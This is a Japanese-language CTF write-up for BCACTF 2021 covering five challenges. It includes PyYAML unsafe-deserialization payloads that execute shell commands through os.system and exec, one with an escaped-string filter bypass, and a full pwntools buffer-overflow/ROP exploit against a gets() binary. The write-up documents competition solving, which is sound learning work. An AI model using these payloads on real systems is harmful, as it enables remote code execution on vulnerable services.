green_bar.png Save The Earth! Save The Earth! - 地球環境を守ろう! Save The Earth! green_bar.png

URL: https://play.bcactf.com/challenges

3975点を獲得し、最終順位は63位でした。

bcactf_2021_score.png



以下はチャレンジのリストです。

bcactf_2021_solves1.png
bcactf_2021_solves2.png
bcactf_2021_solves3.png
bcactf_2021_solves4.png
bcactf_2021_solves5.png





[Misc]: Challenge Checker (150 points)


Challenge

I made this challenge checker to automate away ed’s job. Maybe you can get a flag if you give it enough delicious yams…

nc misc.bcactf.com 49153

Hint1: Try looking up some documentation.
Hint2: Can you read flag.txt?

Attachment:

  • chall.yaml
  • requirements.txt
  • verify.py

chall.yamlの中身:

name: Challenge Checker 
categories:
  - misc
value: 150
flag:
  file: ./flag.txt
description: |-
  I made this challenge checker to automate away ed's job. Maybe you can get a flag if you give it enough delicious yams...
hints:
  - Try looking up some documentation.
  - Can you get a shell?
deploy:
  nc:
    build: .
    expose: 9999
files:
  - src: chall.yaml
  - src: requirements.txt
  - src: verify.py
authors:
  - anli
  - Edward Feng
visible: true

requirements.txtの中身:

PyYAML==3.13
termcolor==1.1.0

Solution

$ echo '!!python/object/apply:os.system ["cat flag.txt"]' | nc misc.bcactf.com 49153
Paste in your chall.yaml file, then send an EOF:
bcactf{3d_r3ally_l1k35s_his_yams_c00ked_j5fc9g}

Flag: bcactf{3d_r3ally_l1k35s_his_yams_c00ked_j5fc9g}





[Misc]: Challenge Checker 2 (200 points)


Challenge

New version, better security, right?

nc misc.bcactf.com 49154

Hint1: What’s changed?

Attachment:

  • chall.yaml
  • requirements.txt
  • verify.py

requirements.txtの中身:

PyYAML==5.3.1
termcolor==1.1.0

Solution

PyYAMLのバージョンが 5.3.1 にあがっています。

1のチャレンジ(前述)と同じ手順でやろうとすると、以下のエラーが出ます。

$ echo '!!python/object/apply:os.system ["cat flag.txt"]' | nc misc.bcactf.com 49154
Paste in your chall.yaml file, then send an EOF:
Fatal error: could not determine a constructor for the tag 'tag:yaml.org,2002:python/object/apply:os.system'
  in "", line 1, column 1:
    !!python/object/apply:os.system  ...
    ^

echo '!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "cat flag.txt" ]]]' | nc misc.bcactf.com 49154
Paste in your chall.yaml file, then send an EOF:
Fatal error: invalid syntax (, line 1)

PyYAML 5.3.1 の脆弱性をググって、見つかったPoCをいろいろ試したところ、
https://hackmd.io/@harrier/uiuctf20 に書かれていた方法でフラグが取れました。

$ cat poc5.txt
!!python/object/new:type
  args: ["z", !!python/tuple [], {"extend": !!python/name:exec }]
  listitems: "\x5f\x5fimport\x5f\x5f('os')\x2esystem('cat flag\x2etxt')"

$ cat poc5.txt | nc misc.bcactf.com 49154
Paste in your chall.yaml file, then send an EOF:
bcactf{y0u_r3ally_0verc00k3d_th05e_yams_j5fc9g}

Flag: bcactf{y0u_r3ally_0verc00k3d_th05e_yams_j5fc9g}





[Rev]: A Fun Game (100 points)


Challenge

A really fun game where you have to type the correct letter 1000 times to get the flag! It won’t take that long, right? It’s not like there’s another way to do it…

Note, The executable is built for Linux and can be run with mono Game.exe

Hint1: Is it possible to modify the variable storing your points?
Hint2: What does a program like GameConqueror or CheatEngine do?

Attachment:

  • Game.exe

Solution

stringsで解けてしまった。

$ strings -el Game.exe | more
.s^O
abcdefghijklmnopqrstuvwxyz
Hello!
Write the correct letter 1,000 times to get the flag!
Not that hard, right?
Type '0' to stop.
Type the letter '{0}':
Correct! Current points:
Incorrect. Current Points:
Incorrect input.
}sr3tte1_0001_epYt_yl1aUtca_tNd1d_U0y_yl1uf3p0h{ftcacb

$ echo 'u"}sr3tte1_0001_epYt_yl1aUtca_tNd1d_U0y_yl1uf3p0h{ftcacb' | rev
bcactf{h0p3fu1ly_y0U_d1dNt_actUa1ly_tYpe_1000_1ett3rs}"u

Flag: bcactf{h0p3fu1ly_y0U_d1dNt_actUa1ly_tYpe_1000_1ett3rs}





[Forensics]: Infinite Zip (75 points)


Challenge

Here’s a zip, there’s a zip. Zip zip everywhere.

Attachment:

  • flag.zip

Solution

手動で解凍してみると、999.zip, 998.zip というのが延々と続くようなのがわかります。

$ for i in {1..999} ; do (unzip *.zip -d out ; rm *.zip ; mv out/*.zip .) ; done

結果的に 0.zip まであったので、ループ数が足りなくて、最後はまた手動で解凍しました。

flag.pngが出てきて、exiftoolでフラグが見つかります。


Flag: bcactf{z1p_1n51d3_4_z1p_4_3v3r}





[Pwn]: Discrete Mathematics (250 points)


Challenge

BCA’s top-level math track! We have proofs, trig, parametric, polar, linear algebra, calculus, … You’ll just have to demonstrate your skills before getting the flag.

nc bin.bcactf.com 49160

Hint1: You can’t just jump to the flag function directly.

Attachment:

  • discrete.c
  • discrete (ELF 64bit)

discrete.cの中身:

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int knows_logic = 0;
int knows_algebra = 0;
int knows_functions = 0;

void logic() {
    int p, q, r, s;

    printf("p: ");
    scanf("%d", &p);
    printf("q: ");
    scanf("%d", &q);
    printf("r: ");
    scanf("%d", &r);
    printf("s: ");
    scanf("%d", &s);
    
    knows_logic = (p || q || !r) && (!p || r || !s) && (q != s) && s;
}

void algebra() {
    int x, y, z;

    printf("x: ");
    scanf("%d", &x);
    printf("y: ");
    scanf("%d", &y);
    printf("z: ");
    scanf("%d", &z);

    int eq1 = 5*x - 6*y + 3*z;
    int eq2 = 2*x + 5*y - 7*z;
    int eq3 = 4*x + 8*y + 8*z;

    knows_algebra = (eq1 == 153) && (eq2 == -163) && (eq3 == -28);
}

void functions() {
    int a, b, c;

    printf("a: ");
    scanf("%d", &a);
    printf("b: ");
    scanf("%d", &b);
    printf("c: ");
    scanf("%d", &c);

    int vertex_x = -b / (2*a);
    int vertex_y = a * vertex_x * vertex_x + b * vertex_x + c;
    int discriminant = b * b - 4 * a * c;

    knows_functions = (vertex_x == 2) && (vertex_y == -2) && (discriminant == 16);
}

void quiz() {
    FILE *fp = fopen("flag.txt", "r");
    char flag[100];

    if (fp == NULL) {
        puts("Sorry, all my stuff's a mess.");
        puts("I'll get around to grading your quiz sometime.");
        puts("[If you are seeing this on the remote server, please contact admin].");
        exit(1);
    }

    fgets(flag, sizeof(flag), fp);

    if (knows_logic && knows_algebra && knows_functions) {
        puts("Alright, you passed this quiz.");
        puts("Here's your prize:");
        puts(flag);
    } else {
        puts("Not there yet...");
        puts("Study some more!");
    }
}

int main() {
    char response[50];

    setbuf(stdout, NULL);
    setbuf(stdin, NULL);
    setbuf(stderr, NULL);

    puts("Discrete.");
    puts("The top math track.");
    puts("The best BCA students.");
    puts("The crème de la crème.");
    puts("We have high expectations.");
    puts("Answer all the questions correctly.");
    puts("Do not disappoint us.");
    printf("> ");
    gets(response);

    if (strcmp(response, "i will get an A")) {
        puts("I'm sorry, but you obviously don't care about grades.");
        puts("Therefore, you aren't motivated enough to be in our class.");
        puts("Goodbye.");
        exit(1);
    }

    puts("Your quiz have been posted to Schoology.");
    puts("You have twenty minutes.");
    puts("Good luck.");
}

Solution

以下、checksecの出力結果です。

$ checksec discrete
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

各関数に飛んでグローバル変数を立てた後、quiz()関数に飛ぶとフラグが取れる寸法です。

まずは、いくつかの方程式を自力で解かないといけません。久しぶりに数学やったな〜。


ここで、BOFを起こした後、飛んだ先の関数で Segmentation fault を出して終了してしまう問題にぶち当たりました。

他の関数(quiz)を挟むことで回避できたので、そのようなコードになってます。後で他の方がどうやって解いたのか、参考にさせてもらおうと思います。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python
# -*- coding:utf-8 -*-

from pwn import *
context(os='linux', arch='amd64')
context.log_level = 'critical'

elf = ELF('./discrete')
context.binary = elf
addr_logic = elf.symbols["logic"]
addr_algebra = elf.symbols["algebra"]
addr_functions = elf.symbols["functions"]
addr_quiz = elf.symbols["quiz"]
addr_main = elf.symbols["main"]
rdi_ret = next(elf.search(asm('pop rdi; ret')))
nop = next(elf.search(asm('nop')))

if 0:
    s = process('./discrete')
    # s = remote('localhost', 7777)
else:
    s = remote('bin.bcactf.com', 49160)

offset = 64
payload = b'i will get an A\x00'
payload += b'\x00' * (offset - len(payload))
payload += p64(rdi_ret)
payload += p64(addr_quiz)
payload += p64(addr_logic)
payload += p64(addr_quiz)
payload += p64(addr_functions)
payload += p64(addr_quiz)
payload += p64(addr_algebra)
payload += p64(addr_quiz)
payload += p64(addr_main)
payload += p64(addr_quiz)

s.sendlineafter("> ", payload)

# logic
s.sendlineafter("p: ", "1\n")
s.sendlineafter("q: ", "0\n")  # This has to be 0 becaues of '(q != s)'.
s.sendlineafter("r: ", "1\n")  # 
s.sendlineafter("s: ", "1\n")  # This has to be 1.

# functions
s.sendlineafter("a: ", "2\n")
s.sendlineafter("b: ", "-8\n")
s.sendlineafter("c: ", "6\n")

# algebra
s.sendlineafter("x: ", "3\n")
s.sendlineafter("y: ", "-17\n")
s.sendlineafter("z: ", "12\n")

print(s.recvall())

Flag: bcactf{the_limit_as_t_approaches_the_ctf_of_my_sanity_approaches_0}